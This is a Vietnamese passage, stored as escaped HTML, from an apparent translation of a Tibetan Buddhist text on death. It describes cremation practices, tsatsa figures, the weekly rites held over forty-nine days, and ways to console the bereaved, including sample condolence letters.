th\u1ec3 \u0111\u01b0\u1ee3c qu\u00e1n t\u01b0\u1edfng tan bi\u1ebfn ho\u00e0n to\u00e0n th\u00e0nh \u00e1nh s\u00e1ng, c\u0169ng nh\u01b0 m\u1ecdi s\u1ef1 kh\u00f4ng thu\u1ea7n khi\u1ebft c\u1ee7a ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft trong ng\u1ecdn l\u1eeda r\u1ef1c r\u1ee1 c\u1ee7a tr\u00ed hu\u1ec7. Khi b\u1ea1n qu\u00e1n t\u01b0\u1edfng \u0111i\u1ec1u n\u00e0y, b\u1ea1n c\u00f3 th\u1ec3 nh\u1ea9m \u0111\u1ecdc m\u1eadt ch\u00fa m\u1ed9t tr\u0103m \u00e2m hay s\u00e1u \u00e2m v\u1ec1 Kim C\u01b0\u01a1ng T\u00e1t \u0110o\u1ea3. Vi\u1ec7c th\u1ef1c h\u00e0nh \u0111\u01a1n gi\u1ea3n n\u00e0y d\u00e0nh cho l\u1ec5 ho\u1ea3 t\u00e1ng \u0111\u01b0\u1ee3c truy\u1ec1n v\u00e0 \u0111\u01b0\u1ee3c g\u00e2y h\u1ee9ng kh\u1edfi b\u1edfi \u0110\u1ea1i s\u01b0 Dudjom v\u00e0 Diilgo Khyentse.<\/p>\n<p>Tro c\u1ee7a x\u00e1c ch\u1ebft v\u00e0 c\u1ee7a tsenjang (h\u00ecnh nh\u00e2n, b\u00e0i v\u1ecb) sau \u0111\u00f3 \u0111\u01b0\u1ee3c \u0111em ho\u00e0 tr\u1ed9n v\u1edbi \u0111\u1ea5t s\u00e9t \u0111\u1ec3 n\u1eb7n ra nh\u1eefng h\u00ecnh nh\u1ecf g\u1ecdi l\u00e0 tsatsa. Nh\u1eefng h\u00ecnh n\u00e0y \u0111\u01b0\u1ee3c ban ph\u00fac l\u00e0nh v\u00e0 d\u00e0nh ri\u00eang nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft, \u0111\u1ec3 cho t\u1ea1o ra nh\u1eefng \u0111i\u1ec1u ki\u1ec7n thu\u1eadn l\u1ee3i cho t\u00e1i sinh t\u1ed1t \u0111\u1eb9p t\u01b0\u01a1ng lai.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"6\">\n<li><em> Th\u1ef1c h\u00e0nh h\u00e0ng tu\u1ea7n <\/em><\/li>\n<\/ol>\n<p>Trong m\u00f4i tr\u01b0\u1eddng T\u00e2y T\u1ea1ng c\u00e1c th\u1ef1c h\u00e0nh v\u00e0 nghi l\u1ec5 th\u01b0\u1eddng \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n \u0111\u1ec1u \u0111\u1eb7n b\u1ea9y ng\u00e0y m\u1ed9t sau ch\u1ebft, ho\u1eb7c n\u1ebfu gia \u0111\u00ecnh c\u00f3 th\u1ec3 lo li\u1ec7u \u0111\u01b0\u1ee3c, l\u00e0m h\u00e0ng ng\u00e0y trong su\u1ed1t b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y. S\u01b0 \u0111\u01b0\u1ee3c m\u1eddi t\u1edbi \u0111\u1ec3 l\u00e0m th\u1ef1c h\u00e0nh, \u0111\u1eb7c bi\u1ec7t m\u1eddi c\u1ea3 c\u00e1c l\u1ea1t ma c\u00f3 quan h\u1ec7 g\u1ea7n g\u0169i v\u1edbi gia \u0111\u00ecnh v\u00e0 c\u00f3 li\u00ean k\u1ebft v\u1edbi ng\u01b0\u1eddi ch\u1ebft. N\u1ebfn \u0111\u00e8n \u0111\u01b0\u1ee3c thp s\u00e1ng v\u00e0 l\u1eddi c\u1ea7u nguy\u1ec7n \u0111\u01b0\u1ee3c \u0111\u1ecdc li\u00ean t\u1ee5c, \u0111\u1eb7c bi\u1ec7t cho t\u1edbi l\u00fac thi th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u01b0a ra kh\u1ecfi nh\u00e0. \u0110\u1ed3 c\u00fang d\u01b0\u1eddng \u0111\u01b0\u1ee3c l\u00e0m cho c\u00e1c th\u1ea7y v\u00e0 b\u00e0n th\u1edd, \u0111\u1ed3 ph\u00e1t ch\u1ea9n \u0111\u01b0\u1ee3c trao cho ng\u01b0\u1eddi ngh\u00e8o nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft.<\/p>\n<p>C\u00e1c bu\u1ed5i l\u1ec5 &#8220;h\u00e0ng tu\u1ea7n&#8221; nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c xem l\u00e0 ch\u1ee7 y\u1ebfu v\u00ec th\u00e2n t\u00e2m tr\u00ed c\u1ee7a ng\u01b0\u1eddi ch\u1ebft trong trung \u1ea5m tr\u1edf th\u00e0nh c\u1ee9 h\u00e0ng tu\u1ea7n l\u1ea1i ph\u1ea3i tr\u1ea3i qua kinh nghi\u1ec7m v\u1ec1 ch\u1ebft, v\u00e0o c\u00f9ng ng\u00e0y. N\u1ebfu ng\u01b0\u1eddi ch\u1ebft c\u00f3 \u0111\u1ee7 c\u00f4ng \u0111\u1ee9c do k\u1ebft qu\u1ea3 c\u1ee7a nghi\u1ec7p qu\u00e1 kh\u1ee9, \u00edch l\u1ee3i c\u1ee7a vi\u1ec7c h\u00e0nh l\u1ec5 n\u00e0y c\u00f3 th\u1ec3 cho h\u1ecd s\u1ef1 th\u00fac \u0111\u1ea9y chuy\u1ec3n nhanh t\u1edbi c\u00f5i gi\u1edbi thu\u1ea7n khi\u1ebft. N\u00f3i m\u1ed9t c\u00e1ch ch\u1eb7t ch\u1ebd, n\u1ebfu m\u1ed9t ng\u01b0\u1eddi m\u1ea5t v\u00e0o tr\u01b0\u1edbc tr\u01b0a th\u1ee9 t\u01b0, ng\u00e0y h\u00e0nh l\u1ec5 tu\u1ea7n \u0111\u1ea7u ph\u1ea3i r\u01a1i v\u00e0o ng\u00e0y th\u1ee9 ba tu\u1ea7n t\u1edbi. N\u1ebfu ng\u01b0\u1eddi \u0111\u00f3 ch\u1ebft v\u00e0o sau tr\u01b0a, ng\u00e0y h\u00e0nh l\u1ec5 ph\u1ea3i r\u01a1i v\u00e0o ng\u00e0y th\u1ee9 t\u01b0 tu\u1ea7n t\u1edbi.<\/p>\n<p>Ng\u01b0\u1eddi T\u00e2y T\u1ea1ng coi b\u1ed1n tu\u1ea7n sau khi ch\u1ebft c\u00f3 \u00fd ngh\u0129a \u0111\u1eb7c bi\u1ec7t, v\u00ec m\u1ed9t s\u1ed1 ng\u01b0\u1eddi cho l\u00e0 ph\u1ea7n l\u1edbn nh\u1eefng ng\u01b0\u1eddi b\u00ecnh th\u01b0\u1eddng kh\u00f4ng \u1edf l\u1ea1i trong trung \u1ea5m l\u00e2u h\u01a1n b\u1ed1n tu\u1ea7n. Tu\u1ea7n th\u1ee9 b\u1ea9y c\u0169ng \u0111\u01b0\u1ee3c xem l\u00e0 \u0111o\u1ea1n n\u1ed1i tr\u1ecdng y\u1ebfu v\u00ec b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y n\u00f3i chung \u0111\u01b0\u1ee3c truy\u1ec1n l\u1ea1i l\u00e0 kho\u1ea3ng th\u1eddi gian d\u00e0i nh\u1ea5t \u1edf l\u1ea1i trong trung \u1ea5m. Cho n\u00ean nh\u00e2n nh\u1eefng c\u01a1 h\u1ed9i n\u00e0y, c\u00e1c th\u1ea7y v\u00e0 ng\u01b0\u1eddi th\u1ef1c h\u00e0nh s\u1ebd \u0111\u01b0\u1ee3c m\u1eddi v\u1ec1 nh\u00e0 \u0111\u1ec3 th\u1ef1c hi\u1ec7n c\u00e1c bu\u1ed5i l\u1ec5 v\u00e0 b\u1ed1 th\u00ed cho ng\u01b0\u1eddi ngh\u00e8o tr\u00ean qui m\u00f4 l\u1edbn.<\/p>\n<p>M\u1ed9t bu\u1ed5i l\u1ec5 c\u00fang d\u01b0\u1eddng kh\u00e1c c\u0169ng \u0111\u01b0\u1ee3c t\u1ed5 ch\u1ee9c m\u1ed9t n\u0103m sau khi ch\u1ebft, \u0111\u1ec3 \u0111\u00e1nh d\u1ea5u s\u1ef1 t\u00e1i sinh c\u1ee7a ng\u01b0\u1eddi ch\u1ebft. Ph\u1ea7n l\u1edbn c\u00e1c gia \u0111\u00ecnh T\u00e2y T\u1ea1ng \u0111\u1ec1u c\u00f3 bu\u1ed1i c\u00fang h\u00e0ng n\u0103m cho c\u00e1c th\u1ea7y, b\u1ed1 m\u1eb9, ch\u1ed3ng ,v\u1ee3, anh em, ch\u1ecb em v\u00e0 v\u00e0o nh\u1eefng ng\u00e0y \u0111\u00f3 h\u1ecd c\u0169ng \u0111em c\u1ee7a b\u1ed1 th\u00ed cho ng\u01b0\u1eddi ngh\u00e8o.<\/p>\n<p>&nbsp;<\/p>\n<p>GI\u00daP \u0110\u1ee0 CHO NG\u01af\u1edcI B\u1eca M\u1ea4T TH\u00c2N NH\u00c2N<\/p>\n<p>Trong nh\u1eefng ng\u01b0\u1eddi T\u00e2y T\u1ea1ng, khi ai \u0111\u00f3 ch\u1ebft, l\u1ebd t\u1ef1 nhi\u00ean l\u00e0 h\u1ecd h\u00e0ng v\u00e0 b\u1ea1n b\u00e8 ng\u01b0\u1eddi \u0111\u00f3 t\u1ee5 t\u1eadp l\u1ea1i, m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec1u t\u00ecm c\u00e1ch n\u00e0y c\u00e1ch kh\u00e1c gi\u00fap m\u1ed9t tay. To\u00e0n th\u1ec3 c\u1ed9ng \u0111\u1ed3ng cung c\u1ea5p s\u1ef1 tr\u1ee3 gi\u00fap t\u00e2m linh, c\u1ea3m x\u00fac v\u00e0 h\u1ed7 tr\u1ee3 th\u1ef1c t\u1ebf, v\u00e0 gia \u0111\u00ecnh ng\u01b0\u1eddi ch\u1ebft kh\u00f4ng bao gi\u1edd b\u1ecb b\u1ecf m\u00e0 kh\u00f4ng c\u00f3 gi\u00fap \u0111\u1ee1 hay b\u1ecb m\u1ea5t m\u00e1t hay t\u1ef1 h\u1ecfi h\u1ecd c\u00f3 th\u1ec3 l\u00e0m g\u00ec. M\u1ecdi ng\u01b0\u1eddi trong x\u00e3 h\u1ed9i T\u00e2y T\u1ea1ng \u0111\u1ec1u bi\u1ebft r\u1eb1ng c\u1ea7n ph\u1ea3i l\u00e0m h\u1ebft s\u1ee9c m\u00ecnh cho ng\u01b0\u1eddi ch\u1ebft v\u00e0 r\u1eb1ng tri th\u1ee9c trao quy\u1ec1n cho nh\u1eefng ng\u01b0\u1eddi c\u00f2n l\u1ea1i \u0111\u1ec3 ch\u1ecbu \u0111\u1ef1ng, ch\u1ea5p nh\u1eadn v\u00e0 t\u1ed3n t\u1ea1i sau ch\u1ebft c\u1ee7a ng\u01b0\u1eddi th\u00e2n y\u00eau c\u1ee7a h\u1ecd.<\/p>\n<p>Th\u00e1i \u0111\u1ed9 \u0111\u00f3 th\u1eadt kh\u00e1c xa vi nh\u1eefng \u0111i\u1ec1u hi\u1ec7n nay trong x\u00e3 h\u1ed9i hi\u1ec7n \u0111\u1ea1i, n\u01a1i g\u1ea7n nh\u01b0 ho\u00e0n to\u00e0n v\u1eafng b\u00f3ng s\u1ef1 h\u1ed7 tr\u1ee3 c\u1ee7a c\u1ed9ng \u0111\u1ed3ng! T\u00f4i hay ngh\u0129 nh\u1eefng tr\u1ee3 gi\u00fap nh\u01b0 v\u1eady c\u00f3 th\u1ec3 l\u00e0m gi\u1ea3m bi\u1ebft bao n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a ng\u01b0\u1eddi b\u1ecb m\u1ea5t th\u00e2n nh\u00e2n trong nh\u1eefng ho\u00e0n c\u1ea3nh kh\u00f3 kh\u0103n k\u00e9o d\u00e0i v\u00e0 kh\u00f4ng c\u1ea7n thi\u1ebft, nh\u01b0 n\u00f3 v\u1eabn th\u01b0\u1eddng x\u1ea3y ra v\u1eady.<\/p>\n<p>C\u00e1c h\u1ecdc tr\u00f2 t\u00f4i, nh\u1eefng ng\u01b0\u1eddi l\u00e0m vi\u1ec7c nh\u01b0 c\u00e1c c\u1ed1 v\u1ea5n cho ng\u01b0\u1eddi b\u1ecb m\u1ea5t th\u00e2n nh\u00e2n trong c\u00e1c tr\u1ea1i d\u01b0\u1ee1ng l\u00e3o, \u0111\u00e3 n\u00f3i v\u1edbi t\u00f4i v\u1ec1 m\u1ed9t trong nh\u1eefng nguy\u00ean nh\u00e2n bu\u1ed3n kh\u1ed5 nh\u1ea5t cho ng\u01b0\u1eddi b\u1ecb m\u1ea5t th\u00e2n nh\u00e2n l\u00e0 \u1edf ni\u1ec1m tin r\u1eb1ng c\u1ea3 h\u1ecd l\u1eabn b\u1ea5t k\u00ec ng\u01b0\u1eddi n\u00e0o kh\u00e1c kh\u00f4ng th\u1ec3 l\u00e0m \u0111\u01b0\u1ee3c b\u1ea5t k\u00ec c\u00e1i g\u00ec cho ng\u01b0\u1eddi th\u00e2n \u0111\u00e3 m\u1ea5t c\u1ee7a h\u1ecd. Nh\u01b0ng m\u00e0 nh\u01b0 t\u00f4i \u0111\u00e3 ch\u1ec9 ra, v\u1eabn c\u00f3 r\u1ea5t nhi\u1ec1u \u0111i\u1ec1u m\u00e0 b\u1ea5t k\u00ec ai \u0111\u1ec1u c\u00f3 th\u1ec3 l\u00e0m \u0111\u1ec3 gi\u00fap cho ng\u01b0\u1eddi ch\u1ebft.<\/p>\n<p>M\u1ed9t c\u00e1ch an \u1ee7i ng\u01b0\u1eddi b\u1ecb m\u1ea5t th\u00e2n nh\u00e2n l\u00e0 \u0111\u1ed9ng vi\u00ean h\u1ecd l\u00e0m m\u1ed9t c\u00e1i g\u00ec \u0111\u00f3 v\u00ec ng\u01b0\u1eddi th\u00e2n \u0111\u00e3 ch\u1ebft c\u1ee7a h\u1ecd: b\u1eb1ng c\u00e1ch s\u1ed1ng m\u00e3nh li\u1ec7t h\u01a1n nh\u00e2n danh h\u1ecd sau khi h\u1ecd \u0111\u00e3 ra \u0111i, b\u1eb1ng c\u00e1ch tu luy\u1ec7n cho h\u1ecd v\u00e0 do \u0111\u00f3 l\u00e0m cho ch\u1ebft c\u1ee7a h\u1ecd c\u00f3 ngh\u0129a s\u00e2u s\u1eafc h\u01a1n. \u1ede T\u00e2y T\u1ea1ng h\u1ecd h\u00e0ng th\u1eadm ch\u00ed c\u00f3 th\u1ec3 \u0111i h\u00e0nh h\u01b0\u01a1ng cho ng\u01b0\u1eddi ch\u1ebft, v\u00e0o nh\u1eefng kho\u1ea3nh kh\u1eafc \u0111\u1eb7c bi\u1ec7t, t\u1ea1i nh\u1eefng n\u01a1i linh thi\u00eang h\u1ecd s\u1ebd ngh\u0129 v\u1ec1 ng\u01b0\u1eddi th\u00e2n \u0111\u00e3 m\u1ea5t v\u00e0 tu luy\u1ec7n cho h\u1ecd. Ng\u01b0\u1eddi T\u00e2y T\u1ea1ng kh\u00f4ng bao gi\u1edd qu\u00ean ng\u01b0\u1eddi ch\u1ebft: h\u1ecd chu\u1ea9n b\u1ecb \u0111\u1ed3 c\u00fang l\u1ec5 tr\u00ean b\u00e0n th\u1edd nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft; trong nh\u1eefng cu\u1ed9c t\u1ee5 t\u1eadp c\u1ea7u nguy\u1ec7n l\u1edbn, h\u1ecd s\u1ebd t\u00e0i tr\u1ee3 cho vi\u1ec7c c\u1ea7u nguy\u1ec7n nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft; h\u1ecd g\u1eedi qu\u00e0 t\u1eb7ng cho c\u00e1c d\u1ef1 \u00e1n t\u00e2m linh nh\u00e2n danh ng\u01b0\u1eddi ch\u1ebft; v\u00e0 b\u1ea5t k\u00ec khi n\u00e0o h\u1ecd g\u1eb7p c\u00e1c th\u1ea7y h\u1ecd s\u1ebd y\u00eau c\u1ea7u nh\u1eefng l\u1eddi c\u1ea7u nguy\u1ec7n \u0111\u1eb7c bi\u1ec7t cho ng\u01b0\u1eddi ch\u1ebft. Ni\u1ec1m an \u1ee7i l\u1edbn nh\u1ea5t \u0111\u1ed1i v\u1edbi m\u1ed9t ng\u01b0\u1eddi T\u00e2y T\u1ea1ng l\u00e0 \u0111\u01b0\u1ee3c bi\u1ebft r\u1eb1ng m\u1ed9t th\u1ea7y \u0111ang l\u00e0m l\u1ec5 cho ng\u01b0\u1eddi th\u00e2n \u0111\u00e3 m\u1ea5t c\u1ee7a m\u00ecnh.<\/p>\n<p>Th\u1ebf th\u00ec, \u0111\u1eebng \u0111\u1ec3 ch\u00fang ta ch\u1ebft \u0111i m\u1ed9t n\u1eeda c\u00f9ng v\u1edbi ng\u01b0\u1eddi y\u00eau d\u1ea5u c\u1ee7a ch\u00fang ta; ch\u00fang ta c\u1ed1 s\u1ed1ng, sau khi h\u1ecd \u0111\u00e3 ra \u0111i, v\u1edbi s\u1ef1 nhi\u1ec7t th\u00e0nh l\u1edbn h\u01a1n. Ch\u00fang ta h\u00e3y th\u1eed, ch\u00ed \u00edt l\u00e0 ho\u00e0n th\u00e0nh \u01b0\u1edbc nguy\u1ec7n hay nguy\u1ec7n v\u1ecdng c\u1ee7a ng\u01b0\u1eddi ch\u1ebft b\u1eb1ng c\u00e1ch n\u00e0o \u0111\u00f3, ch\u1eb3ng h\u1ea1n nh\u01b0 b\u1eb1ng c\u00e1ch \u0111em c\u1ee7a c\u1ea3i c\u1ee7a ng\u01b0\u1eddi ch\u1ebft cho c\u00f4ng vi\u1ec7c t\u1eeb thi\u1ec7n, hay nh\u00e2n danh ng\u01b0\u1eddi \u1ea5y t\u00e0i tr\u1ee3 cho m\u1ed9t d\u1ef1 \u00e1n m\u00e0 ng\u01b0\u1eddi \u1ea5y h\u1ebft l\u00f2ng y\u00eau m\u1ebfn.<\/p>\n<p>Ng\u01b0\u1eddi T\u00e2y T\u1ea1ng hay vi\u1ebft th\u01b0 chia bu\u1ed3n v\u1edbi ng\u01b0\u1eddi b\u1ea1n c\u00f3 ng\u01b0\u1eddi th\u00e2n qua \u0111\u1eddi, th\u01b0\u1eddng \u0111\u1ea1i lo\u1ea1i nh\u01b0 sau:<\/p>\n<p>&nbsp;<\/p>\n<p>M\u1ecdi th\u1ee9 l\u00e0 v\u00f4 th\u01b0\u1eddng, v\u00e0 m\u1ecdi th\u1ee9 \u0111\u1ec1u ch\u1ebft. B\u1ea1n bi\u1ebft \u0111i\u1ec1u n\u00e0y. \u0110i\u1ec1u t\u1ef1 nhi\u00ean l\u00e0 m\u1eb9 b\u1ea1n m\u1ea5t \u0111i khi \u0111\u1ebfn l\u00fac; th\u1ebf h\u1ec7 gi\u00e0 \u0111\u01b0\u1ee3c mong \u0111\u1ee3i ch\u1ebft tr\u01b0\u1edbc. M\u1eb9 b\u1ea1n \u0111\u00e3 gi\u00e0 v\u00e0 y\u1ebfu, c\u1ee5 ch\u1eafc kh\u00f4ng b\u1ef1c m\u00ecnh khi ph\u1ea3i l\u00eca b\u1ecf th\u00e2n th\u1ec3. V\u00e0 v\u00ec b\u1ea1n c\u00f3 th\u1ec3 gi\u00fap cho c\u1ee5 ngay b\u00e2y gi\u1edd b\u1eb1ng c\u00e1ch c\u00fang gi\u00fap c\u00e1c bu\u1ed5i l\u1ec5 v\u00e0 l\u00e0m nh\u1eefng vi\u1ec7c thi\u1ec7n nh\u00e2n danh c\u1ee5, n\u00ean ch\u1eafc c\u1ee5 s\u1ebd sung s\u01b0\u1edbng v\u00e0 \u0111\u01b0\u1ee3c th\u1ea3nh th\u01a1i. Cho n\u00ean xin b\u1ea1n ch\u1edb bu\u1ed3n.<\/p>\n<p>&nbsp;<\/p>\n<p>N\u1ebfu b\u1ea1n c\u1ee7a ch\u00fang ta m\u1ea5t \u0111\u1ee9a con hay ai \u0111\u00f3 th\u00e2n thi\u1ebft v\u1edbi h\u1ecd, c\u00f2n qu\u00e1 tr\u1ebb m\u00e0 ch\u1ebft s\u1edbm, ch\u00fang ta c\u00f3 th\u1ec3 n\u00f3i v\u1edbi b\u1ea1n:<\/p>\n<p>&nbsp;<\/p>\n<p>B\u00e2y gi\u1edd ch\u00e1u b\u00e9 \u0111\u00e3 ch\u1ebft r\u1ed3i, \u0111i\u1ec1u \u0111\u00f3 \u0111\u1ed1i v\u1edbi b\u1ea1n d\u01b0\u1eddng nh\u01b0 c\u1ea3 th\u1ebf gian tan v\u1ee1. T\u00f4i hi\u1ec3u \u0111i\u1ec1u \u0111\u00f3 th\u1eadt t\u00e0n nh\u1eabn v\u00e0 phi l\u00ed v\u1edbi b\u1ea1n. T\u00f4i kh\u00f4ng th\u1ec3 n\u00e0o l\u00ed gi\u1ea3i \u0111\u01b0\u1ee3c ch\u1ebft c\u1ee7a con b\u1ea1n, nh\u01b0ng t\u00f4i c\u0169ng hi\u1ec3u \u0111\u00f3 l\u00e0 k\u1ebft qu\u1ea3 t\u1ef1 nhi\u00ean c\u1ee7a nghi\u1ec7p c\u1ee7a con b\u1ea1n, nh\u01b0ng t\u00f4i tin v\u00e0 bi\u1ebft r\u1eb1ng c\u00e1i ch\u1ebft c\u1ee7a ch\u00e1u ph\u1ea3i \u0111\u00e3 l\u00e0m thu\u1ea7n khi\u1ebft m\u1ed9t m\u00f3n n\u1ee3 nghi\u1ec7p m\u00e0 c\u1ea3 b\u1ea1n v\u00e0 t\u00f4i \u0111\u1ec1u kh\u00f4ng th\u1ec3 bi\u1ebft. N\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n c\u0169ng l\u00e0 c\u1ee7a t\u00f4i. Nh\u01b0ng xin nh\u1edb trong l\u00f2ng b\u00e2y gi\u1edd c\u1ea3 t\u00f4i l\u1eabn b\u1ea1n \u0111\u1ec1u c\u00f3 th\u1ec3 gi\u00fap ch\u00e1u, b\u1eb1ng tu luy\u1ec7n v\u00e0 nh\u1eefng h\u00e0nh \u0111\u1ed9ng t\u1ed1t v\u00e0 b\u1eb1ng t\u00ecnh y\u00eau c\u1ee7a ch\u00fang ta, ch\u00fang ta c\u00f3 th\u1ec3 n\u1eafm tay ch\u00e1u v\u00e0 \u0111i c\u1ea1nh ch\u00e1u, ngay c\u1ea3 b\u00e2y gi\u1edd, ngay c\u1ea3 khi ch\u00e1u \u0111\u00e3 m\u1ea5t, v\u00e0 c\u00f3 th\u1ec3 gi\u00fap ch\u00e1u t\u00ecm \u0111\u01b0\u1ee3c vi\u1ec7c sinh m\u1edbi v\u1edbi cu\u1ed9c s\u1ed1ng l\u00e2u d\u00e0i h\u01a1n l\u1ea7n sau.<\/p>\n<p>&nbsp;<\/p>\n<p>Trong c\u00e1c tr\u01b0\u1eddng h\u1ee3p kh\u00e1c ch\u00fang ta c\u00f3 th\u1ec3 vi\u1ebft:<\/p>\n<p>&nbsp;<\/p>\n<p>T\u00f4i hi\u1ec3u n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n th\u1eadt bao la, nh\u01b0ng khi b\u1ea1n \u0111ang b\u1ecb c\u00e1m d\u1ed7 v\u00e0o th\u1ea5t v\u1ecdng, h\u00e3y ngh\u0129 t\u1edbi vi\u1ec7c b\u1ea1n c\u1ee7a b\u1ea1n th\u1eadt may m\u1eafn bi\u1ebft bao khi c\u00f3 th\u1ea7y h\u00e0nh l\u1ec5 cho c\u00f4 \u1ea5y. H\u00e3y th\u1eed ngh\u0129 xem v\u00e0o nh\u1eefng l\u00fac kh\u00e1c v\u00e0 \u1edf nh\u1eefng n\u01a1i kh\u00e1c \u0111\u00e3 kh\u00f4ng c\u00f3 \u0111\u01b0\u1ee3c s\u1ef1 gi\u00fap \u0111\u1ee1 t\u00e2m linh nh\u01b0 v\u1eady ch\u00fat n\u00e0o cho nh\u1eefng ng\u01b0\u1eddi ch\u1ebft. Ngh\u0129 xem khi b\u1ea1n \u0111ang t\u01b0\u1edfng nh\u1edb ng\u01b0\u1eddi m\u00ecnh y\u00eau d\u1ea5u \u0111\u00e3 ch\u1ebft, bao nhi\u00eau ng\u01b0\u1eddi \u0111ang ch\u1ebft tr\u00ean th\u1ebf gi\u1edbi h\u00f4m nay, trong \u0111\u01a1n \u0111\u1ed9c, l\u00e3ng qu\u00ean, b\u1ecf m\u1eb7c v\u00e0 kh\u00f4ng c\u00f3 \u0111\u01b0\u1ee3c s\u1ef1 tr\u1ee3 gi\u00fap v\u1edbi c\u00e1i nh\u00ecn t\u00e2m linh. Ngh\u0129 v\u1ec1 nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 ch\u1ebft trong nh\u1eefng n\u0103m kh\u1ee7ng khi\u1ebfp, v\u00f4 nh\u00e2n \u0111\u1ea1o c\u1ee7a cu\u1ed9c c\u00e1ch m\u1ea1ng v\u0103n ho\u00e1 \u1edf T\u00e2y T\u1ea1ng, n\u01a1i m\u1ecdi lo\u1ea1i tu luy\u1ec7n t\u00e2m linh \u0111\u1ec1u b\u1ecb c\u1ea5m \u0111o\u00e1n.<\/p>\n<p>B\u1ea1n c\u0169ng h\u00e3y ghi nh\u1edb khi th\u1ea5t v\u1ecdng \u0111e do\u1ea1 b\u1ea1n v\u00e0 b\u1ea1n ch\u1ecbu thua n\u00f3, \u0111i\u1ec1u \u0111\u00f3 s\u1ebd ch\u1ec9 l\u00e0m r\u1ed1i th\u00eam cho ng\u01b0\u1eddi \u0111\u00e3 ch\u1ebft. N\u1ed7i bu\u1ed3n c\u1ee7a b\u1ea1n th\u1eadm ch\u00ed c\u00f3 th\u1ec3 k\u00e9o c\u00f4 \u1ea5y l\u00f9i l\u1ea1i kh\u1ecfi con \u0111\u01b0\u1eddng m\u00e0 c\u00f4 c\u00f3 th\u1ec3 h\u01b0\u1edbng t\u1edbi m\u1ed9t t\u00e1i sinh t\u1ed1t l\u00e0nh. V\u00e0 n\u1ebfu b\u1ea1n c\u00f2n b\u1ecb n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng gi\u00e0y v\u00f2, b\u1ea1n s\u1ebd ch\u1ec9 t\u1ef1 l\u00e0m qu\u00e8 qu\u1eb7t b\u1ea3n th\u00e2n b\u1ea1n kh\u1ecfi vi\u1ec7c c\u00f3 kh\u1ea3 n\u0103ng gi\u00fap cho c\u00f4 \u1ea5y. B\u1ea1n c\u00e0ng ki\u00ean \u0111\u1ecbnh, tr\u1ea1ng th\u00e1i t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n c\u00e0ng t\u00edch c\u1ef1c, b\u1ea1n c\u00e0ng c\u00f3 kh\u1ea3 n\u0103ng an \u1ee7i c\u00f4 \u1ea5y v\u00e0 b\u1ea1n c\u00e0ng c\u00f3 kh\u1ea3 n\u0103ng gi\u00fap c\u00f4 \u1ea5y t\u1ef1 gi\u1ea3i tho\u00e1t.<\/p>\n<p>Khi b\u1ea1n \u0111ang bu\u1ed3n, ph\u1ea3i d\u0169ng c\u1ea3m m\u00e0 n\u00f3i v\u1edbi b\u1ea3n th\u00e2n b\u1ea1n: &#8220;D\u00f9 ch\u00fang ta c\u00f3 tr\u1ea3i qua nh\u1eefng c\u1ea3m gi\u00e1c g\u00ec, ch\u00fang t\u1ea5t c\u1ea3 r\u1ed3i s\u1ebd qua: m\u00e0 cho d\u00f9 ch\u00fang quay l\u1ea1i, ch\u00fang kh\u00f4ng th\u1ec3 k\u00e9o d\u00e0i l\u00e2u.&#8221; Ch\u1eebng n\u00e0o b\u1ea1n kh\u00f4ng \u0111\u1ecbnh k\u00e9o d\u00e0i ch\u00fang, m\u1ecdi c\u1ea3m gi\u00e1c v\u1ec1 m\u1ea5t m\u00e1t v\u00e0 ti\u1ebfc th\u01b0\u01a1ng s\u1ebd t\u1ef1 nhi\u00ean b\u1eaft \u0111\u1ea7u tan \u0111i v\u00e0 bi\u1ebfn m\u1ea5t.<\/p>\n<p>Tuy nhi\u00ean trong th\u1ebf gi\u1edbi c\u1ee7a ch\u00fang ta, n\u01a1i m\u00e0 ch\u00fang ta kh\u00f4ng bi\u1ebft t\u1edbi ngay c\u1ea3 kh\u1ea3 n\u0103ng gi\u00fap \u0111\u1ee1 cho ng\u01b0\u1eddi ch\u1ebft, v\u00e0 n\u01a1i m\u00e0 ch\u00fang ta kh\u00f4ng \u0111\u1ed1i di\u1ec7n v\u1edbi s\u1ef1 ki\u1ec7n ch\u1ebft ch\u00fat n\u00e0o, suy t\u01b0 tr\u00ed hu\u1ec7 v\u00e0 ch\u00e2n th\u00e0nh nh\u01b0 v\u1eady kh\u00f4ng th\u1ec3 l\u00e0 d\u1ec5 d\u00e0ng. M\u1ed9t ng\u01b0\u1eddi m\u1edbi tr\u1ea3i qua n\u1ed7i \u0111au m\u1ea5t ng\u01b0\u1eddi th\u00e2n l\u1ea7n \u0111\u1ea7u ti\u00ean c\u00f3 th\u1ec3 \u0111\u01a1n gi\u1ea3n b\u1ecb tan n\u00e1t c\u00f5i l\u00f2ng b\u1edfi m\u1ed9t lo\u1ea1t nh\u1eefng c\u1ea3m gi\u00e1c r\u1ed1i b\u1eddi, n\u1ed7i \u0111au bu\u1ed3n d\u1ed3n d\u1eadp, gi\u1eadn h\u1eddn, ch\u1ed1i b\u1ecf, xa l\u00e1nh v\u00e0 m\u1eb7c c\u1ea3m r\u1eb1ng h\u1ecd \u0111\u1ed9t nhi\u00ean th\u1ea5y m\u00ecnh \u0111ang g\u00e2y ra t\u00e0n ph\u00e1 b\u00ean trong m\u00ecnh. Vi\u1ec7c gi\u00fap \u0111\u1ee1 cho nh\u1eefng ng\u01b0\u1eddi v\u1eeba tr\u1ea3i qua n\u1ed7i m\u1ea5t m\u00e1t ng\u01b0\u1eddi th\u00e2n s\u1ebd y\u00eau c\u1ea7u m\u1ecdi ki\u00ean nh\u1eabn v\u00e0 nh\u1ea1y c\u1ea3m 